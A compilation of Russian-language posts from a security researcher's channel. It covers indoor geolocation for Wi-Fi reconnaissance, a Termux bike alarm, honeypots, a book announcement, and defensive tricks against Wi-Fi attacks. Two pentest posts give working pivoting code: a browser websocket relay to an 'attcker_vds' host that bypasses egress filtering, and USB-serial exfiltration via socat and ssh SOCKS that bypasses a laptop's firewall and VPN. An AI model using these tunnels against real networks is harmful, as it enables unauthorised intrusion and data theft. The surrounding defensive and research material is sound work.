s0i37_channel

Решение.
Я сделал веб-страницу (https://github.com/s0i37/geo/blob/main/location.html) в которой включены все возможные методы определения геолокации GPS/LBS, ручной режим, а так же AR. У страницы есть разные публичные тайлы (улицы, схемы, спутник, а так же поддержка своих тайлов). Трек перемещения рисуется поверх карты, а в AR режиме рисуется пространственная линия где мы уже были.
На выходе веб-страница посылает latitude longitude на указанный вебсокет, который можно будет после небольшого преобразования отправлять прямиком на gpsd.

К счастью все программы Kismet, airodump-ng и прочие работают с gps не напрямую а через службу gpsd. И с помощью ещё одного моего скрипта (https://github.com/s0i37/geo/blob/main/nmea.py) мы можем преобразовать простой поток lat lon в поток nmea который можно направлять в gpsd:

websocat -b ws-l:0.0.0.0:5555 - | ./nmea.py 127.0.0.1 2947

В конечном счёте это будет воспринято всеми утилитами так будто бы в помещении реально ловит GPS. С таким подходом становится возможна инвентаризация беспроводных устройств офиса с пеленгацией каждого устройства и с созданием тепловой карты сигнала каждого из них. Но про это уже в одном из следующих постов...

Реализация.
Все 4 способа, включая GPS на сегодняшний день могут быть сделаны силами любого мобильного браузера, не требуя ни какой серверной логики. GPS или LBS доступны через js-код:

navigator.geolocation.getCurrentPosition(function(position){ position.coords.latitude,position.coords.longitude })

Для GPS нам достаточно включить в телефоне геолокацию, для LBS дополнительно включить wifi.
Если внутри здания я знаю где нахожусь на карте и хочу задать свою lat lon то это можно сделать через нажатие следующим кодом:

var the_map = L.map(...)
the_map.on('click', function(e){ var coords = e.latlng })

Наконец webxr позволяет войти в режимы AR или VR, и как раз в режиме AR нам будут доступны значения перемещений от начальной точки:

navigator.xr.requestSession('immersive-ar').then(session => {
  session.requestReferenceSpace('local').then(refSpace => {
    xrRefSpace = refSpace
    session.requestAnimationFrame(onXRFrame)
  })
})
function onXRFrame(time, frame)
{
  frame.session.requestAnimationFrame(onXRFrame);
  const pose = frame.getViewerPose(xrRefSpace);
  pose.transform.position, pose.transform.orientation
}

Вообще браузер проделывает тут немыслемую работу, тк датчик акселерометра даёт лишь значение ускорения, но не скорости, что крайне неудобно для отслеживания линейного перемещения. Именно тут и вступает в игру камера, которая с пачкой нейронных сетей, встроенных прямо в браузер, умеет отслеживать движения и давать те самые координаты x y z.
Т.к. виртуальная система координат AR инициализируется в том азимуте в каком мы были в момент её включения, то что бы скорректировать ее в реальную систему lat lon, потребуется компас, который так же доступен браузеру:

window.addEventListener('deviceorientationabsolute', function(eventData){ direction = eventData.alpha })

Применяем дополненную реальность для геолокации и разведки беспроводных устройств.

Проблематика.
При разведке или инвентаризации беспроводных устройств сложно обойтись без определения их хотя бы примерного местоположения. С такой задачей хорошо справляется Kismet, который наблюдает за радиосигналами и взависимости от расположения точек нашего наблюдения может примерно триангулировать каждый источник сигнала - от нас же требуется только сообщать ему свою геолокацию. Но как быть когда GPS нам недоступен? Например если мы внутри здания.

Идея.
В своем старом посте (https://t.me/s0i37_channel/104) я писал про LBS что внутри некоторых зданий может давать точность сравнимую с GPS, однако этот прием не подходит когда мы имеем дело с закрытым или режимным помещением, где нет беспроводных сетей известных сервисам геолокации.
С другой стороны при наличии карты определить свое местоположение внутри помещения порою куда проще чем на улице - обычно для этого достаточно знать лишь кабинет и стол. Таким образом местоположение можно было бы задать простым нажатием на точку на карте. Но так придется делать каждый раз когда мы делаем шаг куда либо. И как раз тут на помощь приходит дополненная реальность и современные телефоны напичканные датчиками.
Виртуальные объекты в объективе камеры телефона висят в одной и той же области пространства потому что умеют реагировать на наше перемещение благодаря датчикам ориентации (3DoF), ускорения и камеры (6DoF). Иными словами под капотом сложных вычислений виртульной сцены телефон умеет понимать на сколько метров влево или вправо мы отошли. Именно это и можно использовать для дальнейшего отслеживания перемещения. Все что требуется просто найти свое начальное местоположение, указать его на карте и включить AR, после чего тот будет сам отслеживать дальнейшие перемещения внутри помещения без всякого GPS.

Первый день лета, начало велосезона, а значит время ежегодной рубрики "находим применение termux в реальной жизни".
В прошлом году я писал про велосипедную сигнализацию из старого Android-телефона (https://t.me/s0i37_channel/226). Суть заключалась в bash скрипте который непрерывно читает значение датчика ускорения и если оно больше 1G, то велосипед пришёл в движение и в качестве сигнала совершается телефонный звонок на указанный номер.

Termux позволяет сделать ещё много чего, и теперь я добавил возможность трансляции геопозиции в режиме реального времени если срабатывает тревога:

#!/bin/bash

WAIT=30
UPDATE=100
THRESOLD=1100
NUMBER=89007654321
RECALL=60
LOCATION='http://vds'
INTERVAL=5

sleep $WAIT
rm call.lock 2>/dev/null; rm geo.lock 2>/dev/null
termux-sensor -c
termux-sensor -s ACCELEROMETER -d $UPDATE | stdbuf -i0 -o0 jq '.ACCELEROMETER.values[]' | stdbuf -i0 -o0 paste - - - | python -c 'while True: a,b,c=input().split(); print(int((abs(float(a))**2+abs(float(b))**2+abs(float(c))**2)**0.5*100))' 2> /dev/null | while read accel
do echo $accel
  if [ $accel -gt $THRESOLD ]; then
    { [ -f call.lock ] && exit; touch call.lock; termux-telephony-call $NUMBER; sleep $RECALL; rm call.lock; } &
    { [ -f geo.lock ] && exit; touch geo.lock; while sleep $INTERVAL; do coords=(`termux-location -p gps -r last | jq -e '.latitude//empty,.longitude//empty' || termux-location -p network -r once | jq -e '.latitude//empty,.longitude//empty'`); bat=`termux-battery-status | jq '.percentage'`; curl -s "$LOCATION/?dev=bike&bat=$bat&lat=${coords[0]}&lon=${coords[1]}"; done; } &
  fi
done

Взависимости от ситуации скрипт пытается получить координаты по GPS, в случае неудачи координаты берутся на основании наземных источников сигналов.

pkg install termux-api python jq

Пробрасываем сетевой туннель сквозь браузер.
При пентесте бывает так что из локальной сети наружу разрешён только трафик браузера.
С помощью следующего js-кода мы можем открыть два веб-сокета - один на опорный сервер, другой на локальное приложение, после чего связать их:

var external = new WebSocket("ws://attcker_vds:80")
var internal = new WebSocket("ws://localhost:1234")
external.onopen = function() { external.onmessage = function(event) { internal.send(event.data) } }
internal.onopen = function() { internal.onmessage = function(event) { external.send(event.data) } }

Все что будет приходить на один веб-сокет будет тут же уходить на другой и наоборот, словно сокеты связаны пайпом. Тк веб-сокеты не регулируются Same origin policy то вставить этот код можно на любую веб-страницу, открыв консоль разработчика (f12).

Сквозь браузер на vds и localhost полетит connect да ещё и в виде веб-сокета. Что бы превратить это в обычный listen tcp-сокет на опорном сервере потребуется команда:

vds> websocat -b ws-l:0.0.0.0:80 tcp-l:0.0.0.0:2222

а на localhost команда превращающая web-socket connect в tcp-connect:

victim> sshd.exe
victim> websocat.exe -b ws-l:127.0.0.1:1234 tcp:127.0.0.1:2222

Замечательная программа websocat, по аналогии с классическим socat, умеет создавать два, связанных пайпом, сокета или веб-сокета в любой форме connect или listen.

Теперь после того как на vds и victim веб-сокеты преобразован в обычные tcp, можно открыть любой туннель, например:

attacker> ssh -D 3128 vds -p2222
attacker> proxychains ... 10.0.0.0/8

Схема проброса:
attacker -> vds <- browser -> victim -> infra

И снова для пивотинга нам не потребовались административные права.

Иногда бывает нужно быстро посмотреть какие беспроводные сети вокруг, и совсем не обязательно для этого каждый раз переключаться в режим монитора, ведь сканирование эфира это штатный функционал любой сетевой карты. На Linux просмотр беспроводных сетей можно производить с помощью встроенной утилиты iw, дающий очень много информации про каждую точку доступа, что не очень удобно для быстрого просмотра.

Я написал небольшой скрипт обёртку над утилитой iw для сканирования Wi-Fi.
https://github.com/s0i37/wifi/blob/main/scan.sh
Скрипт можно запускать на любой сетевой карте, даже при активном подключении.
Удобно использовать для простой разведки, особенно на устройствах без монитор режима (Android). Результаты выводятся в waterfall форме, подходящей для просмотра на небольших экранах, в отличие от непрерывно меняющихся airodump, bettercap, kismet.

Разыгрываем хакеров в день 1 апреля.

А вы знали что все хакерские утилиты airodump-ng, bettercap и прочие показывают частотный канал точки доступа не фактический, а лишь тот который указан в beacon-пакете:

beacon = RadioTap()/Dot11(type=0, subtype=8, addr1='ff:ff:ff:ff:ff:ff', addr2=ap, addr3=ap)/\
 Dot11Beacon(cap='ESS+privacy')/\
 Dot11Elt(ID='SSID',info=essid, len=len(essid))/\
 Dot11Elt(ID='DSset', info=int(CHANNEL).to_bytes(1,'big'))

Иными словами точка доступа сама говорит на каком она канале, и может соврать пошутить. Например вещать может на 1м частотном канале, а анонсировать что находится на 11м. В результате хакер не сможет занять верный частотный канал для атак деаутентификации или сбора pmkid, особенно если пользуется утилитами автоматизаторами.

Можно даже сказать что мы на 6Ghz, тогда как фактически вещаем на старом 2.4. Вынуждая хакера разориться на новенький wifi6e адаптер. Например на фото выше точка доступа вещает на 1м канале, а хакеру кажется что она на 255м, что даже в 6ГГц не вместится.

С 2021 года между делом я разрабатывал собственную систему ханипотов, для личных нужд. Но теперь я решил попробовать сделать её доступной для всех - https://honeypot.land.
По сути это небольшая Threat Hunting система из распределеных по разным континентам серверов-сенсоров с ханипотами (преимущественно low interaction), хитрыми снифферами, небольшой аналитикой и крутым визуалом.

Каждый входящий сетевой пакет фиксируется системой и категорируется как то или иное событие: сканирование портов, отправка данных, подбор пароля, эксплуатация уязвимости, или постэксплуатация - это отражается цветом. Так же система анализирует все возможные поля в IP и TCP, что позволяет для каждого источника трафика видеть какая у него ОС, время включения, количество компьютеров за IP, а так же глубина нахождения за NAT.
Все сетевые "приколы", о которых я много раз писал ранее, реализованы тут.

Каждый слышимый пакет система визуализирует на виртуальном глобусе, показывая из какой локации он пришёл.
Лучший способ показать как на самом деле выглядит интернет и на сколько он враждебен это просто открыть этот сайт. Каждую секунду на любой сервер в интернете совершаются примерно такие же атаки. И ровно тоже самое каждую секунду ощущает и ваш домашний роутер.

Друзья, с наступающим новым годом! Всем здоровья, счастья, профессиональных достижений! 🎄

Вышла моя вторая книга - "Хакерская самооборона", на этот раз посвященная теме защиты (https://bhv.ru/product/hakerskaya-samooborona-priemy-obnaruzheniya-i-predotvrashheniya-hakerskih-atak/). Но не скучной защите, а защите в весьма необычном хакерском стиле. По сути, это хакерский взгляд на защиту, то, как бы хакер противостоял другим хакерам, зная тонкости и слабые места в техниках и популярных инструментах.

Книга написана в стиле наблюдения за противостоянием некоторого хакера и абстрактной компании, где показаны все классические этапы проникновения, от самого первого шага, до полного захвата инфраструктуры. Первую половину книги рассматриваются атаки по модели внешнего нарушителя: из сети интернет - на цифровой периметр и беспроводные сети - на физический периметр. А во второй части описывается возможное развитие событий после проникновения, по модели внутреннего нарушителя: что хакер будет делать и как его заметить пока у него нет учетной записи и на что обращать внимание когда он добрался до AD.

Из первой главы вы узнаете сколько различной неочевидной информации о хакере может быть видно только по особенности его трафика, когда тот атакует цель в сети интернет: какие протоколы ищет хакер, какая у него ОС, таргетированно или веерно он атакует, как глубоко за NAT он расположен, сколько хакеров скрыто за одним IP и наконец как может быть допущен деанон только по одному TCP-пакету. За тем будут показанны трюки ломающие хакерскую разведку и немного встречных атак на слабые места хакерского ПО: как замедлить сканирование портов, затруднить идентификацию служб, вызвать аварийное завершение nmap, многих хакерских web-утилит, коммерческих сканеров и даже заставить зависнуть ОС хакера и наконец как незаметно перенаправить атаки на самого хакера.
Во второй главе книга показывает уникальные приёмы по детекту всех популярных атак Wi-Fi (привет первой книге https://bhv.ru/product/hakerstvo-fizicheskie-ataki-s-ispolzovaniem-hakerskih-ustrojstv/): атаки деаутентификации, сбора PMKID, брутфорсы, атаки на WPS, а также всё семейство roqueAP-атак, включая EvilTwin, GTC downgrade и karma, а также не менее уникальные приёмы по их предотвращению - как испортить хакеру захват handshake, pmkid, работу eaphammer и многое другое.
В третьей главе рассказано, какими трюками можно выявлять чужаков, когда те уже оказались в локальной сети: что выдает хакера когда тот запускает сниффер, сканер портов, делает перехват трафика, запускает responder или делает ntlm-relay и многое другое. Некоторые трюки просты на столько, что реализуются простым ping.
И наконец, в четвертой главе показано, как увидеть невидимые атаки, когда злоумышленник уже добрался до AD: как без доступа к серверным логам видеть аномалии в аутентификациях, как замечать едва уловимые изменения объектов AD когда хакер проводит техники RBCD, shadowcreds, targetedKerberoasting или проводит ACL-атаки, изменяя права или владельцев объектов. А так же как неосторожный хакер может допустить RCE на своей машине, неосторожно подставляя пароль жертвы.

Почти всё, что представлено в книге это авторские техники и приёмы - так я постарался внести свой вклад в защиту, пусть и с весьма необычной стороны.
И раз уж книга о самообороне, то все представленные в ней трюки работают на минимально возможном уровне привилегий, и доступны любому сотруднику компании или юзеру - ведь самооборона должна быть доступна каждому!
Книга must have для каждого сотрудника служб ИБ, всем тем кто только собирается строить ИБ в своей компании, а также тем кто хочет её укрепить. Все кто так или иначе сталкиваются с хакерскими атаками или расследуют их, непременно найдут в этой книге что то полезное.

Как обычно книга выходит в цвете, с кучей картинок и подсветкой кода, который в этот раз будет доступен ещё и на github.

Эксфильтрация через USB.
При физическом пентесте корпоративного ноутбука обычно приходится иметь дело с отсутствием прав и антивирусом. Вместо того что бы разворачивать инструментарий прямо на ноуте целесообразнее превратить его в шлюз и развивать атаки со своего ПК, уклонившись тем самым от локальных средств защиты. Многочисленные корпоративные vpn зачастую имеют изьяны в своём файрволе - после включения они запрещают входящие подключения но забывают разорвать уже установленные и в результате так можно проброситься. Однако как быть если перед нами vpn с которым такие трюки не проходят?

Мы можем взять любой одноплатник с OTG (или рутованный Android) и сэмулировать usb serial устройство, зачастую это можно сделать одной командой:

pi> modprobe g_serial

Теперь на одноплатнике появится /dev/ttyGS0 устройство, а на целевой windows COM-порт. Эмуляция серийного порта наиболее удобный способ эксфильтрации данных через USB, ведь ввод-вывод можно делать простыми файловыми операциями echo 123 > /dev/ttyGS0 и cat /dev/ttyGS0.
Теперь остаётся лишь связать поток из серийного порта с сетевым сокетом и это умеет делать socat:

pi> socat tcp-listen:2222 /dev/ttyGS0,b1500000,echo=0,raw

attacker> ssh -i id_rsa -p2222 victim_user@pi -ND 127.0.0.1:3128

victim> socat.exe /dev/ttyS0,b1500000,echo=0,raw tcp-connect:127.0.0.1:2222

Команды нужно ввести именно в такой последовательности, что бы не нарушилась последовательность send()/recv(). Так же важнный нюанс - пробросить через usb-serial можно только один tcp-поток, тк serial-порт не имеет механизмов множественного использования. Но это не проблема, ведь есть множество способов туннелирования внутри одного tcp-соединения, например легитимный openssh, который может работать даже без прав (https://t.me/s0i37_channel/172):

victim> sshd.exe -f sshd_config_default

После остаётся лишь:

attacker> echo socks4 127.0.0.1 3128 >> /etc/proxychains.conf
attacker> proxychains nmap -sT ...

Теперь в нашем распоряжении есть 1.5мбит канал обходящий любой локальный файрвол, ведь usb-serial это не сетевой интерфейс и он вне поля зрения межсетевого экрана.
Защита: usb white lists.

Обнаруживаем "сырые" пакеты в радиоэфире.
Ранее я писал (https://t.me/s0i37_channel/134) как одним простым скриптом можно детектить все Wi-Fi атаки семействах Roque AP. Но есть один универсальный трюк, которым можно выявить всё семейство атак уже на точку доступа, выполняемых с позиции клиента. В сумме оба приёма позволяют покрыть детект практически 100% хакерских Wi-Fi инструментов.

Когда хакер делает AP-side атаки: деаутентификации и захвата handshake, сбора PMKID или атаки на WPS, то запуск таких утилит как hcxdumptool, bettercap, reaver и некоторых других может быть обнаружен даже не по специфике самой атаки, а по тому, как они генерируют пакеты. Дело в том, что большинство атак на точки доступа требуют создания особых пакетов, которые невозможно отправить силами непосредственно самого чипа Wi-Fi. Поэтому такие утилиты отправляют эти пакеты, создавая их с нуля, через «сырые» сокеты, тогда как легитимные пакеты генерируются напрямую чипом Wi-Fi. Как правило, это создает заметную разницу во времени. Ведь «сырому» пакету нужно пройти куда больший путь: user space → kernel → чип Wi-Fi.

Всякое подключение к точке доступа — это всегда четкая последовательность этапов аутентификации, ассоциации и так далее. И достигается это соответствующими парами запроса-ответа: auth_req/auth_resp, assoc_req/assoc_resp, ident_req/ident_resp, m1/m2. У легитимных клиентов разница во времени между переходами по этапам request/response составляет несколько миллисекунд, тогда как хакерские инструменты, как правило, имеют задержку в десятки миллисекунд, а иногда и больше.
Для детектирования таких небольших временных задержек я сделал специальный скрипт (https://github.com/s0i37/defence/blob/main/wifi/timing.py). На скриншоте видно реагирование на появление сырых пакетов от утилиты bettercap.
Ниже приведено сравнительное время реакции различных Wi-Fi клиентов (легитимных и нет) на пакеты от точек доступа:

Тип клиента Разница auth_res - assoc_req
--------------------- -------------------------------------------------
Windows +0.0055 секунд
Mac OS +0.0023 секунд
wpa_supplicant (Linux) +0.0042 секунд
wpa_supplicant (Android) +0.0026 секунд
hcxdumptool +0.0506 секунд
bettercap +0.0109 секунд
reaver +0.0101 секунд

И вот что случится у хакера (скрин).
Несмотря на то, что атака GTC Downgrade часто приводит к отправке
учетных данных открытым текстом, мы не отправляем их хакеру в открытом
виде. А нарочно отправляем в виде хеша, заставляя тем самым его еще и
брутить их. Учитывая кажущиеся хакеру высокие шансы на успех,
он будет просто вынужден это делать.

Атака GTC downgrade одна из наиболее опасных для компаний Wi-Fi атак. Хакер в случае успеха имеет шансы на получение доменной учетки прямо с улицы, и не редко в виде пароля открытым текстом.
В своём посте (https://t.me/s0i37_channel/208) я писал, как можно замечать такие хакерские точки доступа. Но как противодействовать такой атаке?
А противодействовать можно всё тем же способом и с помощью следующего незамысловатого кода мы можем закидать хакера фейковыми доменными учетками:

#!/bin/bash
iface="$1"
bssid="$2"
COUNT=20

function connect(){
 MAX_TIME=5
 bssid="$1"
 user="$2"
 pass="$3"
 cat <<E > /tmp/wpa_eap.conf
network={
   bssid=$bssid
   key_mgmt=WPA-EAP
   eap=PEAP
   identity="$user"
   password="$pass"
   phase1="peaplabel=0"
   phase2="auth=MSCHAPV2"
}
E
 sudo timeout $MAX_TIME wpa_supplicant -i "$iface" -c /tmp/wpa_eap.conf | while read line; do
  if echo "$line" | grep -q 'authentication failed'; then
   break
  fi
 done
}

for _ in `seq $COUNT`; do
 user=$(shuf -n 1 /opt/wordlists/surnames-translit.txt)
 pass=$(pwgen 10 1)
 echo "[*] send $user:$pass"
 connect "$bssid" "$user" "$pass"
done

К сожалению на уровне сырых пакетов scapy я пока это не реализовал (сложно), но на bash этот defence-приём выглядит нагляднее.
Соединяя этот prevent (https://github.com/s0i37/defence/blob/main/wifi/prevent/gtc.sh) с detect (https://github.com/s0i37/defence/blob/main/wifi/eap.py) получаем средство автоматического реагирования на атаку с помощью Eaphammer (скрин).

В этом примере, вместо отправки в радиоэфир хэшей от брутабельных паролей, мы отправили хакеру
несколько десятков неподбираемых PMKID.
Что же, пожелаем хакеру удачи в этом бесперспективном деле!

Реакция хакерского софта будет предсказуема. Bettercap, hcxdumptool, airodump-ng все начинают фиксировать фейковые PMKID хэши, идущие от атакуемой точки доступа и ни как не отличимые от настоящих (скрин).
Достигнув такого успеха и насобирав столько хэшей да ещё и с каждой точки доступа хакер поспешит покинуть "место преступления" и приступить к брутфорсу PMKID...

Считается, что сбор PMKID с беспроводных сетей WPA PSK это бесшумная атака. Однако ранее я показывал (https://t.me/s0i37_channel/191), что эта атака все же может быть замечена по особенностям трафика. Более того можно не только детектить сбор PMKID, но и мешать её проведению. Для этого в момент обнаружения атаки мы можем отправлять фейковые PMKID-хэши в радиоэфир. И для реакции хакерского софта в радиоэфир нужно отправить пакеты beacon и EAPOL M1. А сгенерировать PMKID в M1 от произвольного пароля можно так:

import hmac,hashlib
import random,string

def get_password_unbrutable(len):
  return "".join(map(lambda _:random.choice(string.printable[:95]),
range(len)))

def calculate_pmkid(password, ap, essid, sta):
  pmk = hashlib.pbkdf2_hmac("sha1", password.encode("utf-8"),
essid.encode(), 4096, 32)
  pmkid = hmac.new(pmk, b"PMK Name" + b(ap) + b(sta), hashlib.
sha1).digest()[:16]
  return pmkid

password = get_password_unbrutable(8)
eapol_m1_data[95:117] = b"\xdd\x14\x00\x0f\xac\x04" + calculate_
pmkid(password, ap, essid, sta)

Полный код доступен в (https://github.com/s0i37/defence/blob/main/wifi/prevent/m1.py). Теперь соединяя это с детектом (https://github.com/s0i37/defence/blob/main/wifi/pmkid.py) получаем средство автоматического реагироаания на атаку (скриншот).

Но если же хакер извлечёт все захваченные handshake, то он сбрутит все теже самые пароли что мы отправляли в радиоэфир (скрин).
Нам ни чего не мешает отправить сотни, тысячи таких handshake. Каждый из подобранных паролей это трата времени хакера на проверку актуальности.

Отправка заведомо брутабельного handshake лишь одна из тактик. Которая может найти применение если защищаемая wifi сеть имеет слабый пароль. Так мы хотя-бы имеем шанс затерять реальный подобранный handshake среди сотен фейковых.

Другой же тактикой может быть отправка не брутабельных handshake. Ведь каждый такой хэш поставленный на брутфорс снижает общую производительность, снижая тем самым и шансы на успешность взлома легитимного handshake.

Наконец отправка любого (брутабельного или нет) фейкового handshake в туже секунду что и отправка deauth пакетов не даст хакеру понимания был ли захвачен легитимный handshake или нет.

Вполне закономерно, что хакер начнёт захватывать огромное количество handshake. На скрине можно видеть что bettercap захватывает их от того самого клиента которого он деаутентицировал. С виду и не скажешь что это фейковые handshake. Аналогичное поведение будет и у других инструментов: hcxdumptool, airodump-ng.

Дальше начинается самое интересное. Подготовку к брутфорсу хакер может проводить разными способами. Так если хакер выберет aicrack-ng, то увидит последний принятый handshake, а если hcxpcapngtool, то по дефолту он извлекает первый. Следовательно в каждом случае мы можем просто перезаписать легитимный handshake, защитив тем самым точку доступа и послать хакера брутить левый хэш.